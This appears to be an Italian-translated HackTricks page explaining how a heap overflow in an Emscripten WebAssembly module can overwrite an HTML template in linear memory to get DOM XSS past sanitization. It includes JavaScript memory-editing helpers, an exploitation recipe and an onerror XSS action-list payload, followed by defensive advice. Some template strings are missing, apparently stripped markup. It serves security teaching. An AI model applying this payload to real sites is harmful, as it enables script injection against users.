%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questa tecnica mostra come un bug di corruzione della memoria all'interno di un modulo WebAssembly (WASM) compilato con Emscripten possa essere trasformato in un DOM XSS affidabile anche quando l'input è sanitizzato. Il pivot consiste nel corrompere costanti scrivibili nella WASM linear memory (es. HTML format templates) invece di attaccare la stringa di origine sanitizzata.
Idea chiave: nel modello WebAssembly il codice risiede in pagine eseguibili non scrivibili, mentre i dati del modulo (heap/stack/globals/"constants") vivono in un'unica memoria lineare piatta (pagine da 64KB) che è scrivibile dal modulo. Se codice C/C++ buggy scrive fuori dai limiti, è possibile sovrascrivere oggetti adiacenti e persino stringhe costanti incorporate nella memoria lineare. Quando una tale costante viene poi usata per costruire HTML per l'inserimento tramite un DOM sink, è possibile trasformare input sanitizzato in JavaScript eseguibile.
Modello di minaccia e precondizioni
- Web app usa Emscripten glue (Module.cwrap) per chiamare un modulo WASM.
- Lo stato dell'applicazione risiede nella WASM linear memory (es. C structs con puntatori/lengths a user buffers).
- L'input sanitizer codifica i metacaratteri prima della memorizzazione, ma la successiva renderizzazione costruisce HTML usando una format string memorizzata nella WASM linear memory.
- Esiste una primitive di corruzione della memoria lineare (es. heap overflow, UAF, o memcpy non controllato).
Modello di dati vulnerabile minimo (esempio)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Pattern logico vulnerabile
- addMsg(): alloca un nuovo buffer dimensionato sull'input sanitizzato e aggiunge un msg a s.mess, raddoppiando la capacità con realloc quando necessario.
- editMsg(): riesegue la sanitizzazione ed esegue memcpy dei nuovi byte nel buffer esistente senza assicurarsi che la nuova lunghezza ≤ la vecchia allocazione → intra-linear-memory heap overflow.
- populateMsgHTML(): formatta il testo sanitizzato con uno stub preconfezionato come "
" che risiede in linear memory. L'HTML restituito finisce in un DOM sink (es., innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Invia sufficienti messaggi per superare la capacità iniziale. Dopo l'espansione, realloc() spesso posiziona s->mess immediatamente dopo l'ultimo user buffer in linear memory.
- Overflow the last message via editMsg() per sovrascrivere campi dentro s->mess (e.g., overwrite msg_data pointers) → riscrittura arbitraria di puntatori nella linear memory per dati poi renderizzati.
Exploit pivot: sovrascrivere il HTML template (sink) invece della sorgente sanitizzata
- La sanitizzazione protegge l'input, non i sink. Trova il formato stub usato da populateMsgHTML(), e.g.:
- "
" → change to "%.*s
"
- Localizza il stub in modo deterministico scansionando la linear memory; è una stringa di byte semplice all'interno di Module.HEAPU8.
- Dopo aver sovrascritto il stub, il contenuto del messaggio sanitizzato diventa il JavaScript handler per onerror, quindi aggiungere un nuovo messaggio con testo come alert(1337) produce
ed esegue immediatamente nel DOM.
Chrome DevTools workflow (Emscripten glue)
- Interrompi al primo Module.cwrap call nel JS glue e entra nel wasm call site per catturare gli argomenti puntatore (offset numerici nella linear memory).
- Usa typed views come Module.HEAPU8 per leggere/scrivere la memoria WASM dalla console.
- Snippet di aiuto:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: aggiungi N piccoli messaggi per provocare realloc(). Ensure s->mess is adjacent to a user buffer.
- Overflow: chiama editMsg() sull'ultimo messaggio con un payload più lungo per sovrascrivere una voce in s->mess, impostando msg_data del messaggio 0 per puntare a (stub_addr + 1). The +1 salta il '<' iniziale per mantenere l'allineamento del tag intatto durante la modifica successiva.
- Template rewrite: modifica il messaggio 0 in modo che i suoi byte sovrascrivano il template con: "img src=1 onerror=%.*s ".
- Trigger XSS: aggiungi un nuovo messaggio il cui contenuto sanificato è JavaScript, e.g., alert(1337). Rendering emette
ed esegue.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Perché questo bypass funziona
- WASM impedisce l'esecuzione di codice dalla linear memory, ma i dati costanti dentro la linear memory sono scrivibili se la logica del programma è buggy.
- The sanitizer only protects the source string; corrompendo il sink (il HTML template), l'input sanitized diventa il valore dell'handler JS e viene eseguito quando inserito nel DOM.
- L'adiacenza causata da realloc() insieme a memcpy non verificato nei flow di edit permette la corruzione di puntatori per reindirizzare le scritture a indirizzi scelti dall'attaccante all'interno della linear memory.
Generalization and other attack surface
- Qualsiasi in-memory HTML template, JSON skeleton o URL pattern incorporato nella linear memory può essere preso di mira per cambiare come i dati sanitizzati vengono interpretati a valle.
- Altri comuni pitfall di WASM: out-of-bounds writes/reads nella linear memory, UAF su heap objects, uso improprio della function-table con unchecked indirect call indices e mismatch nella glue JS↔WASM.
Defensive guidance
- Nei percorsi di edit, verificare new length ≤ capacity; ridimensionare i buffer prima della copia (realloc a new_len) oppure usare API con limite di dimensione (snprintf/strlcpy) e tracciare la capacity.
- Tenere immutable templates fuori dalla writable linear memory o verificarne l'integrità prima dell'uso.
- Trattare i confini JS↔WASM come non affidabili: validare pointer ranges/lengths, fuzzare le interfacce esportate e limitare la crescita della memoria.
- Sanitize at the sink: evitare di costruire HTML in WASM; preferire safe DOM APIs rispetto a innerHTML-style templating.
- Evitare di fidarsi dello stato incorporato nelle URL per flussi privilegiati.
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.